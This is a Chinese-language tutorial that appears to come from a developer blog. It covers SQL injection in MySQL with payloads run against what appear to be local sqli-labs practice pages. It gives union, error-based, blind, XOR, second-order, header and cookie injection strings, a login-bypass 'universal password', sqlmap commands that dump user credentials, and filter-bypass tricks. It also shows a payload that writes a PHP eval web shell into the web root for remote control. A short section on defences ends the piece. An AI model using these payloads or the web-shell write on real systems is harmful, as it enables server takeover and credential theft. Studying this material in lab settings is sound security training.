SQL注入漏洞发现和利用,以及SQL注入的防护

一、背景

SQL注入漏洞是一种常见的软件安全问题,它发生在应用程序的数据库层中。其核心原理是将用户输入的数据当做代码来执行,违反了"数据与代码分离"的原则。具体来说,攻击者通过构造恶意的SQL查询语句,使得应用程序在执行SQL查询时,将攻击者的恶意代码当作正常的SQL查询语句执行,从而获取敏感数据或者破坏系统。

攻击者利用SQL注入漏洞,可以非法获取网站控制权,甚至获取用户的敏感信息。因此,了解SQL注入漏洞的原理、发现方法以及防护措施是非常重要的。

接下来我们了解一下SQL注入发生的原理:

二、原理

接下来我们以MySql数据库为例,MySQL数据库有一个特殊的结构是information_schema数据库,information_schema数据库的有如下结构:

information_schema

tables

table_schema(表对应的数据库)

table_name (所有表名)

columns

table_schema(表对应的数据库)

table_name (所有表名)

column_name (所有列名)

schemata (包含所有数据库的名)

schema_name 数据库名

2.1 我们以正常的SQL为例

例如:select * from tb where username like "%${name}%";这是以MyBatis为例,在查询数据库的时候使用 ${} 维符号实现SQL语句拼接,此时程序输入参数name="测试" 那么在业务SQL中会拼接如下:select * from tb where username like "%测试%";

正因为 ${} 这样直接使用字符串替换且未对用户输入参数进行处理的方式存在,攻击者就可以构造一些恶意的代码比如输入name =1%" or 1=1 --+ 这样拼接的SQL就会如下:select * from tb where username like "%1%" or 1=1 --+%"; 这样SQL语句在直接username like "%1%"没有查询到值的情况下,就会执行where 1=1,就会查到数据库中其他所有的值。

基于如上的原理我们可以构造更加复杂的SQL语句,实现获取更多敏感数据,甚至进一步入侵网站。

2.2 对SQL注入产生原因进行分析

当web应用向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么攻击者的输入就会直接被数据库引擎执行,获取或修改数据库中的数据。此外,如果代码中进行了过滤,但是过滤不严格,攻击者还可以通过控制参数和拼接语句来猜解数据库和绕过认证。

接下来我们演示一下如何发现和利用SQL注入漏洞

三、漏洞发现及利用

SQL注入需要遵循以下步骤,首先发现注入点,第二、获取数据库信息,第三、获取对应数据库表信息、第四、获取某一个具体表信息,第五,获取某一个表字段信息

3.1 联合注入

主要是采用数据库字段union ,联合另外一个SQL进行执行,让正常的业务SQL执行没有返回值,那么就会将union联合的SQL执行并回显,

就比如:

id=0' union select 1,2,concat_ws('-',user(),database(),version()) --+ 使用联合注入查看数据库名称

id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+ 现在我们知道数据库是security,然后我们要查看这个数据库有哪些表

id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='user' --+ 查看这个表中有哪些列内容

id=0' union select 1,(select group_concat(username,password) from users),user() --+ 查询具体表中的数据,然后通过串联成一个字符串进行显示

//注意在使用查询的时候,如果有字段是关键字,会导致查询报错怎么办,使用 table.column 及在写查询行数据的时候 表名.字段名 这样可以避免 字段是关键字的问题。

3.2 报错注入

在许多情况下,Web程序没有正常显示错误回显,这使得我们可以利用报错注入的方式来进行SQL注入。具体来说,攻击者通过构造特殊的SQL语句,插入恶意代码,尝试触发数据库报错并显示报错信息。然后,攻击者根据报错信息判断注入是否成功,并获取到数据库中的敏感信息。需要注意的是,报错注入的使用场景一般是在页面无法显示数据库的信息,但是是有报错内容的。

http://192.168.244.100:83/Less-5/?id=1' and extractvalue(1, concat(0x5c, (select group_concat(table_name) from information_schema.tables where table_schema=database())))-- - 查询数据库

http://192.168.244.100:83/Less-5/?id=1' and extractvalue(1, concat(0x5c, (select group_concat(column_name) from information_schema.columns where table_name='ctf')))-- - 查询表

http://192.168.244.100:83/Less-5/?id=1' and extractvalue(1, concat(0x5c, (select group_concat(flag) from ctf)))-- - 查询字段

http://192.168.244.100:83/Less-5/?id=1' and extractvalue(1, concat(0x5c, (select substr(group_concat(flag),20,99) from ctf)))-- - 由于字段过长进行字段拼接

3.3 布尔盲注

攻击者通过构造特定的SQL语句,通过判断某个条件的真假来获取数据库中的信息。在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。基于布尔的盲注指的是Web的页面仅仅会返回True和False。那么布尔盲注就是进行SQL注入之后然后根据页面返回的True或者是False来得到数据库中的相关信息。

http://192.168.244.100:83/Less-8/?id=1' and (ascii(substr(database(),1,1))>95)-- -

回显正常,database()第一个字母ascii大于95

http://192.168.244.100:83/Less-8/?id=1' and (ascii(substr(database(),1,1))>120)-- -

回显异常,database()第一个字母ascii小于120

3.4 时间盲注

这种攻击方法根据页面的响应时间来判断是否存在注入。具体来说,当页面出现延时响应,且响应时间与设定的时间函数一致,则表示前半部分的猜测正确,若出现查询直接返回结果,页面响应未出现延迟,则说明未执行到时间函数的部分

http://192.168.244.100:83/Less-9/?id=1' and if(ascii(substr(database(),1,1))>99,1,sleep(3))-- -

页面响应无卡顿,database()第一个字母ascii大于99

http://192.168.244.100:83/Less-9/?id=1' and if(ascii(substr(database(),1,1))>120,1,sleep(3))-- -

页面响应卡顿3秒,database()第一个字母ascii小于120

3.5 直接写入php木马文件

通过SQL语句向指定路径写入文件

http://192.168.244.100:83/Less-1/?id=1' union select 1,'<?php eval(_POST\[1\]);phpinfo();?\>',3 into outfile '/var/www/html/upload/kkk.php'-- - 向一个指定路径下下入kkk.php ,内容就是PHP的一句话木马 password=123\&username=1'union%0bselect%0b'\_POST[1]);?>',1%0binto%0boutfile%0b'/var/www/html/x.php'%23 也是向指定目录下写入PHP的一句话木马

这样就可以使用中国蚁剑进行连接,从而控制服务器的目的。

3. 6万能密码

再知道用户名不知道密码的情况下,构造SQL语句屏蔽后续验证密码的SQL语句

http://192.168.244.100:83/Less-11/

用户名: admin' or 1#

密码: 随便输入

登陆后下翻页面可以看到SuccessFully

3.7 UA头&Cookie注入

UA头注入

http://192.168.244.100:83/Less-18/

开启抓包

用户名: admin

密码: admin

登陆

在包体中更改UA头部分,单引号显示报错

然后更改并闭合UA头

1',1,updatexml(1,concat(0x3a,(select database())),1)||'1'='1

即可达到报错注入的效果

3.9 Cookie注入

http://192.168.244.100:83/Less-20/

用户名: admin

密码: admin

登陆

开启抓包,刷新界面后

在包体中更改Cookie部分,单引号显示报错

Cookie部分替换为

uname=admin' and updatexml(1,concat(0x3a,(select database())),1)||'1'='1

即可达到报错注入的效果

3.10 异或注入

异或运算的规则是:两个条件相同(同真或同假)即为假(0),两个条件不同即为真(1)。同时,对于空值(null)与任何条件的异或运算结果都为null。因此,在SQL注入过程中,通过应用异或逻辑,我们可以改变原有的SQL查询语句,从而使得原本被过滤或屏蔽的关键字能够被执行

http://192.168.244.100:83/Less-yh/?id=1\^(length(database())>0)-- -

http://192.168.244.100:83/Less-yh/?id=1\^(length(database())>999)-- -

异或注入 1^ 0 = 1 1^1=0 当后面的语句正确时候无回显 当后面的语句错误时候有回显

3.11 二次注入

在于知道用户名,重新注册用户的时候,在用户名上机型设计,让新用户登录可以关联到原有用户上面,而不需要原有账户的密码

有一个用户LTLT 密码123

我们注册一个LTLT'# 密码qwe

当我们登陆进LTLT'#后 更改密码为kkk

那么就会发现LTLT的密码被改位kkk了

3.12 虚表登陆

原本数据库没有这个信息,我们通过自己构造一个虚拟的用户数据进入,确保查询能够正常返回结果

http://192.168.244.100:83/Less-xb/xb.php

用户名: xxx' union select 1,'admin_LTLT','qwe'-- -

密码: qwe

原理: 构造了一个虚表,将password列置为我们自定义的字符串

3.13 无列名注入

http://192.168.244.100:83/Less-1/?id=1' and 0 union select 1,group_concat(2),3 from (select 1,2 union select * from ctf)a-- -

在不知道列名的情况下,我们通过联合表的方法新构造一个table以及表头,再将我们自定义的列名通过其他方式查询出来

3.14 使用sqlmap进行注入

#获取所有数据库信息

python sqlmap.py -u "url" --dbms=mysql --dbs --batch

#获取security数据库下的表信息

python sqlmap.py -u "url" --dbms=mysql -D "security" --tables --batch

#获取security数据库下的users表下的列信息

python sqlmap.py -u "url" --dbms=mysql -D "security" -T "users" --batch

#获取users表下的字段信息

python sqlmap.py -u "url" --dbms=mysql -D "security" -T "users" --columns --batch

python sqlmap.py -u "url" --dbms=mysql -D "security" -T "users" -C "id,username,password" --dump --batch

#若是POST请求

1、使⽤"--data"参数

python sqlmap.py -u "url" --data "id=1" --dbs --batch

2、将http请求数据保存下来,然后使⽤"-r"参数进⾏注⼊攻击,注意这里面的post_data.txt是通过bp获取的提交给服务端的信息

python sqlmap.py -r post_data.txt --dbs --batch

3.15 绕过方法总结

绕过空格: // select/ /xxx//from/ /yyy//where/ /ddd=eee

括号 select(xxx)from(yyy)where(ddd=eee)

绕过等号: 可以使用 like regexp

绕过注释符: ||or'0 以闭合后面的单引号

绕过limit 0,1 中的逗号: limit 1 offset 1

绕过ascii: ord

绕过substr: mid left right

四、漏洞防护手段

为了防止报错注入攻击,提供了以下方式:

1.使用PreparedStatement:PreparedStatement可以有效避免SQL注入问题,当数据库在处理一个SQL命令的时候,可以将变量代入指令集,开始实际执行,避免了重复解析SQL的过程。

2.使用存储过程:存储过程也可以防止SQL注入,由于存储过程将查询和数据操作封装在一起,因此减少了未经验证的用户输入直接构成SQL命令的可能性。

3.验证用户输入:这是防止SQL注入最基本也是最重要的方法。开发者需要确保所有从用户接收的输入都经过严格的验证和过滤,以防止恶意代码的执行。

4.使用ORM框架:对象关系映射(ORM)框架如Hibernate和MyBatis等,它们可以帮助开发者更好地管理数据库操作,减少因错误使用SQL语句而引发的安全问题。

5.使用参数化查询:参数化查询可以有效防止SQL注入攻击,因为它将查询和数据分开处理,从而避免了恶意用户输入被解析为SQL代码。

6.限制数据库权限:为数据库账户设置最小权限原则,可以减少潜在的损害。例如,只给予应用程序账户执行其任务所需的最小权限。

7.定期更新和修补系统:这可以帮助及时修复已知的安全漏洞,避免被攻击者利用。

五、总结

SQL注入漏洞的存在对系统乃至整个服务器都会产生严重的危害,有多种方式可以进行SQL注入漏洞的利用,程序在开发过程中零信任用户的输入,对其进行严格的限制,并且采用市面上成熟的框架和成熟的方法(参数化查询)进行sql语句的解析。攻防的方法还在不断的进化,大家对SQL注入有哪些疑问、见解或者最新的攻击方式,请评论区进行留言。

相关推荐
指尖上跳动的旋律1 小时前
shell脚本定义特殊字符导致执行mysql文件错误的问题
数据库·mysql
一勺菠萝丶2 小时前
MongoDB 常用操作指南(Docker 环境下)
数据库·mongodb·docker
m0_748244832 小时前
StarRocks 排查单副本表
大数据·数据库·python
C++忠实粉丝3 小时前
Redis 介绍和安装
数据库·redis·缓存
wmd131643067123 小时前
将微信配置信息存到数据库并进行调用
数据库·微信
是阿建吖!3 小时前
【Linux】基础IO(磁盘文件)
linux·服务器·数据库
凡人的AI工具箱3 小时前
每天40分玩转Django:Django国际化
数据库·人工智能·后端·python·django·sqlite
ClouGence3 小时前
Redis 到 Redis 数据迁移同步
数据库·redis·缓存
m0_748236583 小时前
《Web 应用项目开发:从构思到上线的全过程》
服务器·前端·数据库
苏三说技术3 小时前
Redis 性能优化的18招
数据库·redis·性能优化